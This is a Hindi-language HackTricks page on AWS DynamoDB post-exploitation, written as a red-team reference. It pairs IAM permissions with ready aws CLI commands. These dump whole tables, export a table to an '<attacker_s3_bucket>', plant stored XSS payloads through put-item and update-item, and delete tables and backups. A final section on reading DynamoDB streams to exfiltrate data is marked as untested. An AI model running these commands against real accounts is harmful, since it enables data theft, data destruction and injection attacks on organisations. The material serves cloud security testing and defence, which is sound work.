AWS - DynamoDB पोस्ट एक्सप्लोइटेशन
Reading time: 9 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
DynamoDB
अधिक जानकारी के लिए देखें:
dynamodb:BatchGetItem
इस अनुमति के साथ एक हमलावर प्राथमिक कुंजी द्वारा तालिकाओं से आइटम प्राप्त करने में सक्षम होगा (आप तालिका के सभी डेटा के लिए बस नहीं पूछ सकते)। इसका मतलब है कि आपको प्राथमिक कुंजी पता होनी चाहिए (आप इसे तालिका के मेटाडेटा (describe-table
) प्राप्त करके जान सकते हैं)।
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
संभावित प्रभाव: तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिविलेज वृद्धि
dynamodb:GetItem
पिछले अनुमतियों के समान यह एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देता है, जो कि पुनर्प्राप्त करने के लिए प्रविष्टि की प्राथमिक कुंजी दी गई है:
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
"N": "205"
}
}
इस अनुमति के साथ transact-get-items
विधि का उपयोग करना भी संभव है:
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
संभावित प्रभाव: तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क
dynamodb:Query
पिछले अनुमतियों के समान यह एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देता है, जो कि पुनर्प्राप्त करने के लिए प्रविष्टि की प्राथमिक कुंजी दी गई है। यह तुलनाओं का एक उपसमुच्चय उपयोग करने की अनुमति देता है, लेकिन प्राथमिक कुंजी के साथ केवल "EQ" तुलना की अनुमति है (जो कि प्रकट होनी चाहिए), इसलिए आप एक अनुरोध में पूरे DB को प्राप्त करने के लिए तुलना का उपयोग नहीं कर सकते।
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
संभावित प्रभाव: तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिविलेज वृद्धि
dynamodb:Scan
आप इस अनुमति का उपयोग पूरी तालिका को आसानी से डंप करने के लिए कर सकते हैं।
aws dynamodb scan --table-name <t_name> #Get data inside the table
संभावित प्रभाव: तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क
dynamodb:PartiQLSelect
आप इस अनुमति का उपयोग पूरी तालिका को आसानी से डंप करने के लिए कर सकते हैं।
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
यह अनुमति batch-execute-statement
करने की भी अनुमति देती है जैसे:
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
लेकिन आपको एक मान के साथ प्राथमिक कुंजी निर्दिष्ट करनी होगी, इसलिए यह इतना उपयोगी नहीं है।
संभावित प्रभाव: तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क
dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)
यह अनुमति एक हमलावर को S3 बकेट में पूरी तालिका को निर्यात करने की अनुमति देगी:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
ध्यान दें कि इसके काम करने के लिए तालिका में point-in-time-recovery सक्षम होना चाहिए, आप यह जांच सकते हैं कि तालिका में यह है या नहीं:
aws dynamodb describe-continuous-backups \
--table-name <tablename>
यदि यह सक्षम नहीं है, तो आपको इसे सक्षम करना होगा और इसके लिए आपको dynamodb:ExportTableToPointInTime
अनुमति की आवश्यकता है:
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
संभावित प्रभाव: तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क
dynamodb:CreateTable
, dynamodb:RestoreTableFromBackup
, (dynamodb:CreateBackup)
इन अनुमतियों के साथ, एक हमलावर बैकअप से एक नई तालिका बना सकेगा (या यहां तक कि एक बैकअप बना सकेगा जिसे फिर एक अलग तालिका में पुनर्स्थापित किया जा सके)। फिर, आवश्यक अनुमतियों के साथ, वह जानकारी की जांच कर सकेगा जो उत्पादन तालिका में और नहीं हो सकती।
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
संभावित प्रभाव: तालिका बैकअप में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क
dynamodb:PutItem
यह अनुमति उपयोगकर्ताओं को तालिका में एक नया आइटम जोड़ने या एक मौजूदा आइटम को नए आइटम से बदलने की अनुमति देती है। यदि समान प्राथमिक कुंजी वाला एक आइटम पहले से मौजूद है, तो पूरा आइटम नए आइटम से बदल दिया जाएगा। यदि प्राथमिक कुंजी मौजूद नहीं है, तो निर्दिष्ट प्राथमिक कुंजी के साथ एक नया आइटम बनाया जाएगा।
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S": "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
संभावित प्रभाव: DynamoDB तालिका में डेटा जोड़ने/संशोधित करने में सक्षम होने के कारण आगे की कमजोरियों/बायपास का शोषण
dynamodb:UpdateItem
यह अनुमति उपयोगकर्ताओं को एक आइटम के मौजूदा गुणों को संशोधित करने या एक आइटम में नए गुण जोड़ने की अनुमति देती है। यह पूरे आइटम को प्रतिस्थापित नहीं करती; यह केवल निर्दिष्ट गुणों को अपडेट करती है। यदि प्राथमिक कुंजी तालिका में मौजूद नहीं है, तो यह क्रिया निर्दिष्ट प्राथमिक कुंजी के साथ एक नया आइटम बनाएगी और अपडेट अभिव्यक्ति में निर्दिष्ट गुणों को सेट करेगी।
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
संभावित प्रभाव: एक DynamoDB तालिका में डेटा जोड़ने/संशोधित करने में सक्षम होने के कारण आगे की कमजोरियों/बायपास का शोषण
dynamodb:DeleteTable
इस अनुमति के साथ एक हमलावर एक DynamoDB तालिका को हटा सकता है, जिससे डेटा हानि होती है।
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
संभावित प्रभाव: डेटा हानि और हटाए गए तालिका पर निर्भर सेवाओं में व्यवधान।
dynamodb:DeleteBackup
इस अनुमति के साथ एक हमलावर DynamoDB बैकअप को हटा सकता है, जो आपदा पुनर्प्राप्ति परिदृश्य के मामले में डेटा हानि का कारण बन सकता है।
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
संभावित प्रभाव: डेटा हानि और आपदा पुनर्प्राप्ति परिदृश्य के दौरान बैकअप से पुनर्प्राप्त करने में असमर्थता।
dynamodb:StreamSpecification
, dynamodb:UpdateTable
, dynamodb:DescribeStream
, dynamodb:GetShardIterator
, dynamodb:GetRecords
note
TODO: यह परीक्षण करें कि क्या यह वास्तव में काम करता है
इन अनुमतियों के साथ एक हमलावर DynamoDB तालिका पर एक स्ट्रीम सक्षम कर सकता है, तालिका को अपडेट कर सकता है ताकि परिवर्तन स्ट्रीमिंग शुरू हो सके, और फिर तालिका में वास्तविक समय में परिवर्तनों की निगरानी करने के लिए स्ट्रीम तक पहुंच सकता है। यह हमलावर को डेटा परिवर्तनों की निगरानी और एक्सफिल्ट्रेट करने की अनुमति देता है, जो संभावित रूप से डेटा लीक का कारण बन सकता है।
- DynamoDB तालिका पर एक स्ट्रीम सक्षम करें:
bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
- ARN और अन्य विवरण प्राप्त करने के लिए स्ट्रीम का वर्णन करें:
bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
- स्ट्रीम ARN का उपयोग करके शार्ड इटरेटर प्राप्त करें:
bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
- शार्ड इटरेटर का उपयोग करके स्ट्रीम से डेटा तक पहुँचें और उसे एक्सफिल्ट्रेट करें:
bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
संभावित प्रभाव: DynamoDB तालिका के परिवर्तनों की वास्तविक समय निगरानी और डेटा लीक।
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।